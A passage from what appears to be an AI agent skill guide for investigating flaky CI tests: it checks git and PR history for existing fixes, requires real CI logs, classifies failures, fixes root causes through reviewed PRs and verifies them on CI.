3. App profile (from git remote get-url origin) → load references/profiles/<app>.md if one matches (e.g. your-org/your-app → profiles/your-app.md). No app profiles ship by default — add your own by following the shape in references/discovery.md. If none matches, use the generic + framework tiers only and do not invent app-specific classifications.

State the detected stack in one line, then proceed. If a tier is unknown, say so and note the degraded mode.

Fast Exits (cheap — no CI logs needed)

Check these BEFORE fetching CI logs or doing deep investigation. They rely only on git and PR history, so they resolve an issue even when CI logs have expired or the CI MCP is unavailable — which is exactly when an already-fixed or already-PR'd issue would otherwise get stuck on the HARD GATE below. Most flaky-test issues are settled here without a full investigation.

Already Fixed

Many flaky-test issues already have a fix merged but the issue was never closed. Check for a merged fix before investigating:

• Test file commits since the issue date: git log --oneline --since="<issue_date>" -- <test_file>
• Source file commits over the same window: git log --oneline --since="<issue_date>" -- <source_file>
• Merged PRs referencing the test: gh pr list --search "<test_file_name>" --state merged --limit 5

If any surface a relevant merged fix, STOP and report it. Also close any stale bot-skip PRs the real fix superseded.

Partial-fix guard: if a fix is merged but new flaky issues were filed after the fix date for the same file (possibly a different test within it), the fix was partial — continue to historical recurrence.

Existing Open PR

gh pr list --search "<test_file_name>" --state open — if one exists, review it rather than starting over.

Broken, Not Flaky

git log --oneline -10 -- <test_file> and -- <source_file>. Signals of broken (not flaky): ALL tests in the file fail, deterministically, every run, any seed/order; failures started after a specific commit. Fix: update the test's setup for the new dependency.

Historical Recurrence (Systemic Signal)

gh search issues "<test_file_name>" --limit 30 --json number,state,createdAt | jq 'length'. If 3+ issues exist for the same file: read ALL prior fix PRs, find the common vulnerability, and fix it systemically. Fixing only the reported test regenerates the issue within weeks. (App profiles record known serial offenders.)

Bot Skips

Automated tools "fix" flaky tests by skipping them — never a valid fix, it only hides the failure. Detect the skip with the framework file's grep pattern and check authorship with git log --oneline -1 -- <test_file>. Action depends on whether the root cause is fixed:

CI Log Access (HARD GATE)

If the fast exits above did not resolve the issue, you are doing a real investigation — and the actual CI error message is essential. Code-only analysis produces plausible but wrong hypotheses — in one real case, code analysis concluded "case not created (timeout)" when the actual error was "wrong case found (suffix collision)."

Fetch the failing job's logs using the CI provider file for the detected provider (e.g. references/ci/buildkite.md). Extract: exception class + message + backtrace, total failed-test count, and which unique files are affected.

If logs are unavailable — MCP not connected, API down, logs expired, retrieval returns nothing useful — ask the user to paste the error verbatim. A user-pasted error is equivalent to a tool-fetched one for this gate. Stop and wait rather than guessing. Code-only analysis is never an acceptable substitute. Do not retry failing log calls more than twice in a session.

Classify the Failure

Start with the framework-agnostic categories in references/classification-generic.md (broken-not-flaky, global state poisoning, test-ordering, timing/race, suffix collision, resource exhaustion, external-service flake, thread-boundary state, …). Then consult the framework file for how the category manifests in that framework's idioms, and the app profile for product-specific instances (specific services, error classes, infra).

Infrastructure fast-exit: a build-wide pattern (many unrelated tests across several files failing in one run) almost always means infrastructure, not a test bug — close the issue, no code fix. The app profile defines the exact threshold and common infra exceptions.

Quick heuristics: passes on retry in the same build → test-side (state/ordering/timing); all tests in a file fail every run → broken by a code change, not flaky.

Investigate Root Cause

Reproduction vs verification are different activities. Reproduction runs the test to observe state while the bug happens — a way to close a confidence gap during investigation. Verification ("has my fix worked?") always belongs on CI (see below).

Most CI flakes do NOT reproduce locally. Limit to 2 local attempts per hypothesis; if it passes twice, the flake is CI-only and further local runs add no signal. The framework file gives the replay command; references/ci-only-flakes.md explains which categories reproduce locally vs not, browser/driver noise, and measurement-driven verification.

For state poisoning (common), the poisoner is usually a sibling test that mutates global state and doesn't restore it; confirm by running it before the victim at the same seed. For timing, look for wall-clock assertions without a frozen clock and too-short async waits. For resource issues, prefer the infra fast-exit over a test-side fix.

Propose and Implement Fix

Only with a HIGH-confidence root cause. Fix at the source, not the symptom — a per-test workaround masks the systemic bug and gets copied by the next engineer.

Scope before writing: once the root-cause pattern is known, grep the suite for it. If more than one test is vulnerable, the fix belongs in source or a shared helper, not copied into each test. Lead the PR with the systemic fix; any unskip is secondary.

For test-level fixes when a systemic fix isn't possible: fix the poisoner, harden the victim with explicit setup as defense-in-depth, and follow the framework's mocking conventions.

If you cannot identify the root cause, STOP. Report what you found and tried. No speculative changes.

When creating a PR, use your PR-creation workflow (e.g. gh pr create) rather than pushing straight to the default branch. Route review to the team that owns the source file — the app profile names the mechanism if one exists (e.g. a constant listing owning teams). Enable auto-merge so it lands on green.

Verify the Fix

CI is the only authoritative signal. A fix that passes 40 local runs but fails in CI is not a fix. The fix is complete only when the PR build is green; keep iterating on the branch until it passes. A local pass means almost nothing — never treat it as verification.

For CI-only flakes, use measurement-driven verification: compare CI failure rates between a baseline branch (unchanged) and an experiment branch (fix) over N builds each, excluding infra noise. See references/ci-only-flakes.md. Note the provider may cancel superseded branch builds, so baseline and experiment need separate branches.

When CI fails on an unrelated test, consult references/handling-unrelated-ci-failures.md — do not modify the unrelated failing test in your fix PR.

Sweep for Siblings

Same-file first. Most recurring flakes share a vulnerability with sibling tests in the same file — a partial fix is the leading cause of recurring issues. Fix every hit of the unsafe pattern inside the reported file before the PR goes out. A suite-wide sweep is secondary — useful for blast radius and deciding whether to lift the fix into a shared helper.

Update Guidance (Novel Findings)

If the root cause is a new framework-agnostic category, add it to references/classification-generic.md. If it's framework-specific, update the framework file; if product-specific, your app profile. To support a new framework or CI provider, copy the matching _template.md and register its signal in references/discovery.md. After every fix, ask: "Could this skill have caught this earlier or more completely?" If so, open a PR to this skill's repo.

Additional Resources

Reference Files

• references/discovery.md — detect framework / CI / app, and what to load
• references/classification-generic.md — framework-agnostic flake categories
• references/frameworks/rspec.md — RSpec idioms, repro commands (fully fleshed); _template.md for new frameworks
• references/ci/buildkite.md — Buildkite log-fetch (fully fleshed); _template.md for new providers
• references/ci-only-flakes.md — CI-only reproduction, noise filtering, measurement-driven verification
• references/handling-unrelated-ci-failures.md — diagnosing CI failures unrelated to your fix PR

App profiles (references/profiles/<app>.md) are an extensibility point for your own product-specific flake catalogue and workflow conventions — none ship by default; add your own by following the shape described in references/discovery.md.

Worked Examples

Following the Reported → Validated → Classified → Root cause → Fix → Sweep → Guidance format (both are synthetic RSpec cases):

• examples/cross-app-guardrails-poisoning.md — global state poisoning via module-level instance variables
• examples/thread-local-cache-signup-spec.md — thread-local cache in Capybara feature specs